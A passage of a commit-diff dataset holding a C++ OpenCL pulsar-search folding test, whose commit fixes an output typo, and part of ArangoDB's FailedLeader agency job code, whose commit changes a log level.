period < observation.getNrPeriods(); period++ ) {\n\t\t\tfor ( unsigned int DM = 0; DM < observation.getNrDMs(); DM++ ) {\n\t\t\t\tconst unsigned int dataItem = (bin * observation.getNrPeriods() * observation.getNrPaddedDMs()) + (period * observation.getNrPaddedDMs()) + DM;\n\t\t\t\tif ( !same(CPUFolded->getHostDataItem(dataItem), foldedData->getHostDataItem(dataItem)) ) {\n\t\t\t\t\twrongValues++;\n\t\t\t\t\twrongValuesBin++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ( wrongValuesBin > 0 ) {\n\t\t\tcout << \"Wrong samples bin \" << bin << \": \" << wrongValuesBin << \" (\" << (wrongValuesBin * 100) \/ (static_cast< long long unsigned int >(observation.getNrDMs()) * observation.getNrPeriods()) << \"%).\" << endl;\n\t\t}\n\t}\t\n\n\tcout << endl;\n\tcout << \"Wrong samples: \" << wrongValues << \" (\" << (wrongValues * 100) \/ (static_cast< long long unsigned int >(observation.getNrDMs()) * observation.getNrPeriods() * observation.getNrBins()) << \"%).\" << endl;\n\tcout << endl;\n\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2012\n * Alessio Sclocco <a.sclocco@vu.nl>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <exception>\n#include <fstream>\n#include <iomanip>\n#include <limits>\n#include <cmath>\n#include <ctime>\nusing std::cout;\nusing std::cerr;\nusing std::endl;\nusing std::string;\nusing std::vector;\nusing std::exception;\nusing std::ofstream;\nusing std::fixed;\nusing std::setprecision;\nusing std::numeric_limits;\n\n#include <ArgumentList.hpp>\n#include <Observation.hpp>\n#include <InitializeOpenCL.hpp>\n#include <CLData.hpp>\n#include <utils.hpp>\n#include <Folding.hpp>\n#include <FoldingCPU.hpp>\nusing isa::utils::ArgumentList;\nusing isa::utils::same;\nusing AstroData::Observation;\nusing isa::OpenCL::initializeOpenCL;\nusing isa::OpenCL::CLData;\nusing PulsarSearch::folding;\nusing PulsarSearch::Folding;\n\ntypedef float dataType;\nconst string typeName(\"float\");\nconst unsigned int padding = 32;\n\n\/\/ Common parameters\nconst unsigned int nrBeams = 1;\nconst unsigned int nrStations = 64;\n\/\/ LOFAR\n\/*const float minFreq = 138.965f;\nconst float channelBandwidth = 0.195f;\nconst unsigned int nrSamplesPerSecond = 200000;\nconst unsigned int nrChannels = 32;*\/\n\/\/ Apertif\nconst float minFreq = 1425.0f;\nconst float channelBandwidth = 0.2929f;\nconst unsigned int nrSamplesPerSecond = 20000;\nconst unsigned int nrChannels = 1024;\n\/\/ DMs\nconst unsigned int nrDMs = 256;\n\/\/ Periods\nconst unsigned int nrPeriods = 128;\nconst unsigned int nrBins = 256;\n\n\nint main(int argc, char *argv[]) {\n\tunsigned int clPlatformID = 0;\n\tunsigned int clDeviceID = 0;\n\tlong long unsigned int wrongValues = 0;\n\tObservation< dataType > observation(\"FoldingTest\", typeName);\n\tCLData< dataType > * dedispersedData = new CLData< dataType >(\"DedispersedData\", true);\n\tCLData< dataType > * foldedData = new CLData<dataType >(\"FoldedData\", true);\n\tCLData< unsigned int > * counterData = new CLData< unsigned int >(\"CounterData\", true);\n\n\ttry {\n\t\tArgumentList args(argc, argv);\n\n\t\tclPlatformID = args.getSwitchArgument< unsigned int >(\"-opencl_platform\");\n\t\tclDeviceID = args.getSwitchArgument< unsigned int >(\"-opencl_device\");\n\n\t} catch ( exception &err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\t\n\t\/\/ Setup of the observation\n\tobservation.setPadding(padding);\n\tobservation.setNrSamplesPerSecond(nrSamplesPerSecond);\n\tobservation.setNrDMs(nrDMs);\n\tobservation.setNrPeriods(nrPeriods);\n\tobservation.setFirstPeriod(nrBins);\n\tobservation.setPeriodStep(nrBins);\n\tobservation.setNrBins(nrBins);\n\t\n\tcl::Context * clContext = new cl::Context();\n\tvector< cl::Platform > * clPlatforms = new vector< cl::Platform >();\n\tvector< cl::Device > * clDevices = new vector< cl::Device >();\n\tvector< vector< cl::CommandQueue > > * clQueues = new vector< vector < cl::CommandQueue > >();\n\t\n\tinitializeOpenCL(clPlatformID, 1, clPlatforms, clContext, clDevices, clQueues);\n\n\t\/\/ Allocate memory\n\tdedispersedData->allocateHostData(observation.getNrSamplesPerSecond() * observation.getNrPaddedDMs());\n\tfoldedData->allocateHostData(observation.getNrPaddedDMs() * observation.getNrBins() * observation.getNrPeriods());\n\tfoldedData->blankHostData();\n\tcounterData->allocateHostData(observation.getNrPaddedDMs() * observation.getNrBins() * observation.getNrPeriods());\n\tcounterData->blankHostData();\n\n\tdedispersedData->setCLContext(clContext);\n\tdedispersedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tfoldedData->setCLContext(clContext);\n\tfoldedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tcounterData->setCLContext(clContext);\n\tcounterData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\n\ttry {\n\t\tdedispersedData->allocateDeviceData();\n\t\tfoldedData->allocateDeviceData();\n\t\tfoldedData->copyHostToDevice();\n\t\tcounterData->allocateDeviceData();\n\t\tcounterData->copyHostToDevice();\n\t} catch ( OpenCLError err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\n\tsrand(time(NULL));\n\tfor ( unsigned int sample = 0; sample < observation.getNrSamplesPerSecond(); sample++ ) {\n\t\tfor ( unsigned int DM = 0; DM < observation.getNrDMs(); DM++ ) {\n\t\t\tdedispersedData->setHostDataItem((sample * observation.getNrPaddedDMs()) + DM, rand() % 100);\n\t\t}\n\t}\n\n\t\/\/ Test\n\ttry {\n\t\t\/\/ Generate kernel\n\t\tFolding< dataType > clFold(\"clFold\", typeName);\n\t\tclFold.bindOpenCL(clContext, &(clDevices->at(clDeviceID)), &((clQueues->at(clDeviceID)).at(0)));\n\t\tclFold.setObservation(&observation);\n\t\tclFold.setNrDMsPerBlock(128);\n\t\tclFold.setNrPeriodsPerBlock(2);\n\t\tclFold.setNrBinsPerBlock(1);\n\t\tclFold.setNrDMsPerThread(2);\n\t\tclFold.setNrPeriodsPerThread(2);\n\t\tclFold.setNrBinsPerThread(4);\n\t\tclFold.generateCode();\n\n\t\tdedispersedData->copyHostToDevice();\n\t\tclFold(dedispersedData, foldedData, counterData);\n\t\tfoldedData->copyDeviceToHost();\n\t} catch ( OpenCLError err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\t\n\t\/\/ Check\n\tCLData< dataType > * CPUFolded = new CLData<dataType >(\"CPUFolded\", true);\n\tCLData< unsigned int > * CPUCounter = new CLData< unsigned int >(\"CPUCounter\", true);\n\tCPUFolded->allocateHostData(observation.getNrBins() * observation.getNrPeriods() * observation.getNrPaddedDMs());\n\tCPUCounter->allocateHostData(observation.getNrBins() * observation.getNrPeriods() * observation.getNrPaddedDMs());\n\tfolding(0, observation, dedispersedData->getHostData(), CPUFolded->getHostData(), CPUCounter->getHostData());\n\tfor ( unsigned int bin = 0; bin < observation.getNrBins(); bin++ ) {\n\t\tlong long unsigned int wrongValuesBin = 0;\n\n\t\tfor ( unsigned int period = 0; period < observation.getNrPeriods(); period++ ) {\n\t\t\tfor ( unsigned int DM = 0; DM < observation.getNrDMs(); DM++ ) {\n\t\t\t\tconst unsigned int dataItem = (bin * observation.getNrPeriods() * observation.getNrPaddedDMs()) + (period * observation.getNrPaddedDMs()) + DM;\n\t\t\t\tif ( !same(CPUFolded->getHostDataItem(dataItem), foldedData->getHostDataItem(dataItem)) ) {\n\t\t\t\t\twrongValues++;\n\t\t\t\t\twrongValuesBin++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tcout << \"Wrong samples bin \" + bin + \": \" << wrongValuesBin << \" (\" << (wrongValuesBin * 100) \/ (static_cast< long long unsigned int >(observation.getNrDMs()) * observation.getNrPeriods()) << \"%).\" << endl;\n\t}\t\n\n\tcout << endl;\n\tcout << \"Wrong samples: \" << wrongValues << \" (\" << (wrongValues * 100) \/ (static_cast< long long unsigned int >(observation.getNrDMs()) * observation.getNrPeriods() * observation.getNrBins()) << \"%).\" << endl;\n\tcout << endl;\n\n\treturn 0;\n}\n\n<commit_msg>Typo.<commit_after>\/*\n * Copyright (C) 2012\n * Alessio Sclocco <a.sclocco@vu.nl>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <exception>\n#include <fstream>\n#include <iomanip>\n#include <limits>\n#include <cmath>\n#include <ctime>\nusing std::cout;\nusing std::cerr;\nusing std::endl;\nusing std::string;\nusing std::vector;\nusing std::exception;\nusing std::ofstream;\nusing std::fixed;\nusing std::setprecision;\nusing std::numeric_limits;\n\n#include <ArgumentList.hpp>\n#include <Observation.hpp>\n#include <InitializeOpenCL.hpp>\n#include <CLData.hpp>\n#include <utils.hpp>\n#include <Folding.hpp>\n#include <FoldingCPU.hpp>\nusing isa::utils::ArgumentList;\nusing isa::utils::same;\nusing AstroData::Observation;\nusing isa::OpenCL::initializeOpenCL;\nusing isa::OpenCL::CLData;\nusing PulsarSearch::folding;\nusing PulsarSearch::Folding;\n\ntypedef float dataType;\nconst string typeName(\"float\");\nconst unsigned int padding = 32;\n\n\/\/ Common parameters\nconst unsigned int nrBeams = 1;\nconst unsigned int nrStations = 64;\n\/\/ LOFAR\n\/*const float minFreq = 138.965f;\nconst float channelBandwidth = 0.195f;\nconst unsigned int nrSamplesPerSecond = 200000;\nconst unsigned int nrChannels = 32;*\/\n\/\/ Apertif\nconst float minFreq = 1425.0f;\nconst float channelBandwidth = 0.2929f;\nconst unsigned int nrSamplesPerSecond = 20000;\nconst unsigned int nrChannels = 1024;\n\/\/ DMs\nconst unsigned int nrDMs = 256;\n\/\/ Periods\nconst unsigned int nrPeriods = 128;\nconst unsigned int nrBins = 256;\n\n\nint main(int argc, char *argv[]) {\n\tunsigned int clPlatformID = 0;\n\tunsigned int clDeviceID = 0;\n\tlong long unsigned int wrongValues = 0;\n\tObservation< dataType > observation(\"FoldingTest\", typeName);\n\tCLData< dataType > * dedispersedData = new CLData< dataType >(\"DedispersedData\", true);\n\tCLData< dataType > * foldedData = new CLData<dataType >(\"FoldedData\", true);\n\tCLData< unsigned int > * counterData = new CLData< unsigned int >(\"CounterData\", true);\n\n\ttry {\n\t\tArgumentList args(argc, argv);\n\n\t\tclPlatformID = args.getSwitchArgument< unsigned int >(\"-opencl_platform\");\n\t\tclDeviceID = args.getSwitchArgument< unsigned int >(\"-opencl_device\");\n\n\t} catch ( exception &err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\t\n\t\/\/ Setup of the observation\n\tobservation.setPadding(padding);\n\tobservation.setNrSamplesPerSecond(nrSamplesPerSecond);\n\tobservation.setNrDMs(nrDMs);\n\tobservation.setNrPeriods(nrPeriods);\n\tobservation.setFirstPeriod(nrBins);\n\tobservation.setPeriodStep(nrBins);\n\tobservation.setNrBins(nrBins);\n\t\n\tcl::Context * clContext = new cl::Context();\n\tvector< cl::Platform > * clPlatforms = new vector< cl::Platform >();\n\tvector< cl::Device > * clDevices = new vector< cl::Device >();\n\tvector< vector< cl::CommandQueue > > * clQueues = new vector< vector < cl::CommandQueue > >();\n\t\n\tinitializeOpenCL(clPlatformID, 1, clPlatforms, clContext, clDevices, clQueues);\n\n\t\/\/ Allocate memory\n\tdedispersedData->allocateHostData(observation.getNrSamplesPerSecond() * observation.getNrPaddedDMs());\n\tfoldedData->allocateHostData(observation.getNrPaddedDMs() * observation.getNrBins() * observation.getNrPeriods());\n\tfoldedData->blankHostData();\n\tcounterData->allocateHostData(observation.getNrPaddedDMs() * observation.getNrBins() * observation.getNrPeriods());\n\tcounterData->blankHostData();\n\n\tdedispersedData->setCLContext(clContext);\n\tdedispersedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tfoldedData->setCLContext(clContext);\n\tfoldedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tcounterData->setCLContext(clContext);\n\tcounterData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\n\ttry {\n\t\tdedispersedData->allocateDeviceData();\n\t\tfoldedData->allocateDeviceData();\n\t\tfoldedData->copyHostToDevice();\n\t\tcounterData->allocateDeviceData();\n\t\tcounterData->copyHostToDevice();\n\t} catch ( OpenCLError err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\n\tsrand(time(NULL));\n\tfor ( unsigned int sample = 0; sample < observation.getNrSamplesPerSecond(); sample++ ) {\n\t\tfor ( unsigned int DM = 0; DM < observation.getNrDMs(); DM++ ) {\n\t\t\tdedispersedData->setHostDataItem((sample * observation.getNrPaddedDMs()) + DM, rand() % 100);\n\t\t}\n\t}\n\n\t\/\/ Test\n\ttry {\n\t\t\/\/ Generate kernel\n\t\tFolding< dataType > clFold(\"clFold\", typeName);\n\t\tclFold.bindOpenCL(clContext, &(clDevices->at(clDeviceID)), &((clQueues->at(clDeviceID)).at(0)));\n\t\tclFold.setObservation(&observation);\n\t\tclFold.setNrDMsPerBlock(128);\n\t\tclFold.setNrPeriodsPerBlock(2);\n\t\tclFold.setNrBinsPerBlock(1);\n\t\tclFold.setNrDMsPerThread(2);\n\t\tclFold.setNrPeriodsPerThread(2);\n\t\tclFold.setNrBinsPerThread(4);\n\t\tclFold.generateCode();\n\n\t\tdedispersedData->copyHostToDevice();\n\t\tclFold(dedispersedData, foldedData, counterData);\n\t\tfoldedData->copyDeviceToHost();\n\t} catch ( OpenCLError err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\t\n\t\/\/ Check\n\tCLData< dataType > * CPUFolded = new CLData<dataType >(\"CPUFolded\", true);\n\tCLData< unsigned int > * CPUCounter = new CLData< unsigned int >(\"CPUCounter\", true);\n\tCPUFolded->allocateHostData(observation.getNrBins() * observation.getNrPeriods() * observation.getNrPaddedDMs());\n\tCPUCounter->allocateHostData(observation.getNrBins() * observation.getNrPeriods() * observation.getNrPaddedDMs());\n\tfolding(0, observation, dedispersedData->getHostData(), CPUFolded->getHostData(), CPUCounter->getHostData());\n\tfor ( unsigned int bin = 0; bin < observation.getNrBins(); bin++ ) {\n\t\tlong long unsigned int wrongValuesBin = 0;\n\n\t\tfor ( unsigned int period = 0; period < observation.getNrPeriods(); period++ ) {\n\t\t\tfor ( unsigned int DM = 0; DM < observation.getNrDMs(); DM++ ) {\n\t\t\t\tconst unsigned int dataItem = (bin * observation.getNrPeriods() * observation.getNrPaddedDMs()) + (period * observation.getNrPaddedDMs()) + DM;\n\t\t\t\tif ( !same(CPUFolded->getHostDataItem(dataItem), foldedData->getHostDataItem(dataItem)) ) {\n\t\t\t\t\twrongValues++;\n\t\t\t\t\twrongValuesBin++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tcout << \"Wrong samples bin \" << bin << \": \" << wrongValuesBin << \" (\" << (wrongValuesBin * 100) \/ (static_cast< long long unsigned int >(observation.getNrDMs()) * observation.getNrPeriods()) << \"%).\" << endl;\n\t}\t\n\n\tcout << endl;\n\tcout << \"Wrong samples: \" << wrongValues << \" (\" << (wrongValues * 100) \/ (static_cast< long long unsigned int >(observation.getNrDMs()) * observation.getNrPeriods() * observation.getNrBins()) << \"%).\" << endl;\n\tcout << endl;\n\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2014-2016 ArangoDB GmbH, Cologne, Germany\n\/\/\/ Copyright 2004-2014 triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Kaveh Vahedipour\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"FailedLeader.h\"\n\n#include \"Agent.h\"\n#include \"Job.h\"\n\nusing namespace arangodb::consensus;\n\nFailedLeader::FailedLeader(Node const& snapshot, Agent* agent,\n                           std::string const& jobId, std::string const& creator,\n                           std::string const& agencyPrefix,\n                           std::string const& database,\n                           std::string const& collection,\n                           std::string const& shard, std::string const& from,\n                           std::string const& to)\n    : Job(snapshot, agent, jobId, creator, agencyPrefix),\n      _database(database),\n      _collection(collection),\n      _shard(shard),\n      _from(from),\n      _to(to) {\n  try {\n    JOB_STATUS js = status();\n\n    if (js == TODO) {\n      start();\n    } else if (js == NOTFOUND) {\n      if (create()) {\n        start();\n      }\n    }\n  } catch (std::exception const& e) {\n    LOG_TOPIC(WARN, Logger::AGENCY) << e.what() << \" \" << __FILE__ << __LINE__;\n    finish(\"Shards\/\" + _shard, false, e.what());\n  }\n}\n\nFailedLeader::~FailedLeader() {}\n\nbool FailedLeader::create() {\n  LOG_TOPIC(INFO, Logger::AGENCY)\n      << \"Todo: failed Leader for \" + _shard + \" from \" + _from + \" to \" + _to;\n\n  std::string path = _agencyPrefix + toDoPrefix + _jobId;\n\n  _jb = std::make_shared<Builder>();\n  _jb->openArray();\n  _jb->openObject();\n\n  \/\/ Todo entry\n  _jb->add(path, VPackValue(VPackValueType::Object));\n  _jb->add(\"creator\", VPackValue(_creator));\n  _jb->add(\"type\", VPackValue(\"failedLeader\"));\n  _jb->add(\"database\", VPackValue(_database));\n  _jb->add(\"collection\", VPackValue(_collection));\n  _jb->add(\"shard\", VPackValue(_shard));\n  _jb->add(\"fromServer\", VPackValue(_from));\n  _jb->add(\"toServer\", VPackValue(_to));\n  _jb->add(\"isLeader\", VPackValue(true));\n  _jb->add(\"jobId\", VPackValue(_jobId));\n  _jb->add(\"timeCreated\",\n           VPackValue(timepointToString(std::chrono::system_clock::now())));\n  _jb->close();\n\n  \/\/ Add shard to \/arango\/Target\/FailedServers\/<server> array\n  path = _agencyPrefix + failedServersPrefix + \"\/\" + _from;\n  _jb->add(path, VPackValue(VPackValueType::Object));\n  _jb->add(\"op\", VPackValue(\"push\"));\n  _jb->add(\"new\", VPackValue(_shard));\n  _jb->close();\n  \n  _jb->close();\n  _jb->close();\n\n  write_ret_t res = transact(_agent, *_jb);\n\n  if (res.accepted && res.indices.size() == 1 && res.indices[0]) {\n    return true;\n  }\n\n  LOG_TOPIC(INFO, Logger::AGENCY) << \"Failed to insert job \" + _jobId;\n  return false;\n}\n\nbool FailedLeader::start() {\n  \/\/ DBservers\n  std::string planPath =\n      planColPrefix + _database + \"\/\" + _collection + \"\/shards\/\" + _shard;\n  std::string curPath =\n      curColPrefix + _database + \"\/\" + _collection + \"\/\" + _shard + \"\/servers\";\n\n  Node const& current = _snapshot(curPath);\n\n  if (current.slice().length() == 1) {\n    LOG_TOPIC(ERR, Logger::AGENCY) << \"Failed to change leadership for shard \" +\n                                          _shard + \" from \" + _from + \" to \" +\n                                          _to + \". No in-sync followers:\" +\n                                          current.slice().toJson();\n    return false;\n  }\n\n  \/\/ Copy todo to pending\n  Builder todo, pending;\n\n  \/\/ Get todo entry\n  todo.openArray();\n  if (_jb == nullptr) {\n    try {\n      _snapshot(toDoPrefix + _jobId).toBuilder(todo);\n    } catch (std::exception const&) {\n      LOG_TOPIC(INFO, Logger::AGENCY) << \"Failed to get key \" + toDoPrefix +\n                                             _jobId + \" from agency snapshot\";\n      return false;\n    }\n  } else {\n    todo.add(_jb->slice().get(_agencyPrefix + toDoPrefix + _jobId).valueAt(0));\n  }\n  todo.close();\n\n  \/\/ Transaction\n  pending.openArray();\n\n  \/\/ Apply\n  \/\/ --- Add pending entry\n  pending.openObject();\n  pending.add(_agencyPrefix + pendingPrefix + _jobId,\n              VPackValue(VPackValueType::Object));\n  pending.add(\"timeStarted\",\n              VPackValue(timepointToString(std::chrono::system_clock::now())));\n  for (auto const& obj : VPackObjectIterator(todo.slice()[0])) {\n    pending.add(obj.key.copyString(), obj.value);\n  }\n  pending.close();\n\n  \/\/ --- Remove todo entry\n  pending.add(_agencyPrefix + toDoPrefix + _jobId,\n              VPackValue(VPackValueType::Object));\n  pending.add(\"op\", VPackValue(\"delete\"));\n  pending.close();\n\n  \/\/ --- Cyclic shift in sync servers\n  pending.add(_agencyPrefix + planPath, VPackValue(VPackValueType::Array));\n  for (size_t i = 1; i < current.slice().length(); ++i) {\n    pending.add(current.slice()[i]);\n  }\n  pending.add(current.slice()[0]);\n  pending.close();\n\n  \/\/ --- Block shard\n  pending.add(_agencyPrefix + blockedShardsPrefix + _shard,\n              VPackValue(VPackValueType::Object));\n  pending.add(\"jobId\", VPackValue(_jobId));\n  pending.close();\n\n  \/\/ --- Increment Plan\/Version\n  pending.add(_agencyPrefix + planVersion, VPackValue(VPackValueType::Object));\n  pending.add(\"op\", VPackValue(\"increment\"));\n  pending.close();\n\n  pending.close();\n\n  \/\/ Precondition\n  \/\/ --- Check that Current servers are as we expect\n  pending.openObject();\n  pending.add(_agencyPrefix + curPath, VPackValue(VPackValueType::Object));\n  pending.add(\"old\", current.slice());\n  pending.close();\n\n  \/\/ --- Check if shard is not blocked\n  pending.add(_agencyPrefix + blockedShardsPrefix + _shard,\n              VPackValue(VPackValueType::Object));\n  pending.add(\"oldEmpty\", VPackValue(true));\n  pending.close();\n\n  pending.close();\n  pending.close();\n\n  \/\/ Transact\n  write_ret_t res = transact(_agent, pending);\n\n  if (res.accepted && res.indices.size() == 1 && res.indices[0]) {\n    LOG_TOPIC(INFO, Logger::AGENCY) << \"Pending: Change leadership \" + _shard +\n                                           \" from \" + _from + \" to \" + _to;\n    return true;\n  }\n\n  LOG_TOPIC(INFO, Logger::AGENCY)\n      << \"Precondition failed for starting job \" + _jobId;\n  return false;\n}\n\nJOB_STATUS FailedLeader::status() {\n  auto status = exists();\n\n  if (status != NOTFOUND) {  \/\/ Get job details from agency\n\n    try {\n      _database = _snapshot(pos[status] + _jobId + \"\/database\").getString();\n      _collection = _snapshot(pos[status] + _jobId + \"\/collection\").getString();\n      _from = _snapshot(pos[status] + _jobId + \"\/fromServer\").getString();\n      _to = _snapshot(pos[status] + _jobId + \"\/toServer\").getString();\n      _shard = _snapshot(pos[status] + _jobId + \"\/shard\").getString();\n    } catch (std::exception const& e) {\n      std::stringstream err;\n      err << \"Failed to find job \" << _jobId << \" in agency: \" << e.what();\n      LOG_TOPIC(ERR, Logger::AGENCY) << err.str();\n      finish(\"Shards\/\" + _shard, false, err.str());\n      return FAILED;\n    }\n  }\n\n  if (status == PENDING) {\n    Node const& job = _snapshot(pendingPrefix + _jobId);\n    std::string database = job(\"database\").toJson(),\n                collection = job(\"collection\").toJson(),\n                shard = job(\"shard\").toJson();\n\n    std::string planPath = planColPrefix + database + \"\/\" + collection +\n                           \"\/shards\/\" + shard,\n                curPath = curColPrefix + database + \"\/\" + collection + \"\/\" +\n                          shard + \"\/servers\";\n\n    Node const& planned = _snapshot(planPath);\n    Node const& current = _snapshot(curPath);\n\n    if (planned.slice()[0] == current.slice()[0]) {\n\n      \/\/ Remove shard to \/arango\/Target\/FailedServers\/<server> array\n      Builder del;\n      del.openArray();\n      del.openObject();\n      std::string path = _agencyPrefix + failedServersPrefix + \"\/\" + _from;\n      del.add(path, VPackValue(VPackValueType::Object));\n      del.add(\"op\", VPackValue(\"erase\"));\n      del.add(\"val\", VPackValue(_shard));\n      del.close();\n      del.close();\n      del.close();\n      write_ret_t res = transact(_agent, del);\n  \n      if (finish(\"Shards\/\" + shard)) {\n        return FINISHED;\n      }\n    }\n  }\n\n  return status;\n}\n<commit_msg>FailedServer jobs can report when last FailedLeader has been processed<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2014-2016 ArangoDB GmbH, Cologne, Germany\n\/\/\/ Copyright 2004-2014 triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Kaveh Vahedipour\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"FailedLeader.h\"\n\n#include \"Agent.h\"\n#include \"Job.h\"\n\nusing namespace arangodb::consensus;\n\nFailedLeader::FailedLeader(Node const& snapshot, Agent* agent,\n                           std::string const& jobId, std::string const& creator,\n                           std::string const& agencyPrefix,\n                           std::string const& database,\n                           std::string const& collection,\n                           std::string const& shard, std::string const& from,\n                           std::string const& to)\n    : Job(snapshot, agent, jobId, creator, agencyPrefix),\n      _database(database),\n      _collection(collection),\n      _shard(shard),\n      _from(from),\n      _to(to) {\n  try {\n    JOB_STATUS js = status();\n\n    if (js == TODO) {\n      start();\n    } else if (js == NOTFOUND) {\n      if (create()) {\n        start();\n      }\n    }\n  } catch (std::exception const& e) {\n    LOG_TOPIC(DEBUG, Logger::AGENCY) << e.what() << \" \" << __FILE__ << __LINE__;\n    finish(\"Shards\/\" + _shard, false, e.what());\n  }\n}\n\nFailedLeader::~FailedLeader() {}\n\nbool FailedLeader::create() {\n  LOG_TOPIC(INFO, Logger::AGENCY)\n      << \"Todo: failed Leader for \" + _shard + \" from \" + _from + \" to \" + _to;\n\n  std::string path = _agencyPrefix + toDoPrefix + _jobId;\n\n  _jb = std::make_shared<Builder>();\n  _jb->openArray();\n  _jb->openObject();\n\n  \/\/ Todo entry\n  _jb->add(path, VPackValue(VPackValueType::Object));\n  _jb->add(\"creator\", VPackValue(_creator));\n  _jb->add(\"type\", VPackValue(\"failedLeader\"));\n  _jb->add(\"database\", VPackValue(_database));\n  _jb->add(\"collection\", VPackValue(_collection));\n  _jb->add(\"shard\", VPackValue(_shard));\n  _jb->add(\"fromServer\", VPackValue(_from));\n  _jb->add(\"toServer\", VPackValue(_to));\n  _jb->add(\"isLeader\", VPackValue(true));\n  _jb->add(\"jobId\", VPackValue(_jobId));\n  _jb->add(\"timeCreated\",\n           VPackValue(timepointToString(std::chrono::system_clock::now())));\n  _jb->close();\n\n  \/\/ Add shard to \/arango\/Target\/FailedServers\/<server> array\n  path = _agencyPrefix + failedServersPrefix + \"\/\" + _from;\n  _jb->add(path, VPackValue(VPackValueType::Object));\n  _jb->add(\"op\", VPackValue(\"push\"));\n  _jb->add(\"new\", VPackValue(_shard));\n  _jb->close();\n  \n  _jb->close();\n  _jb->close();\n\n  write_ret_t res = transact(_agent, *_jb);\n\n  if (res.accepted && res.indices.size() == 1 && res.indices[0]) {\n    return true;\n  }\n\n  LOG_TOPIC(INFO, Logger::AGENCY) << \"Failed to insert job \" + _jobId;\n  return false;\n}\n\nbool FailedLeader::start() {\n  \/\/ DBservers\n  std::string planPath =\n      planColPrefix + _database + 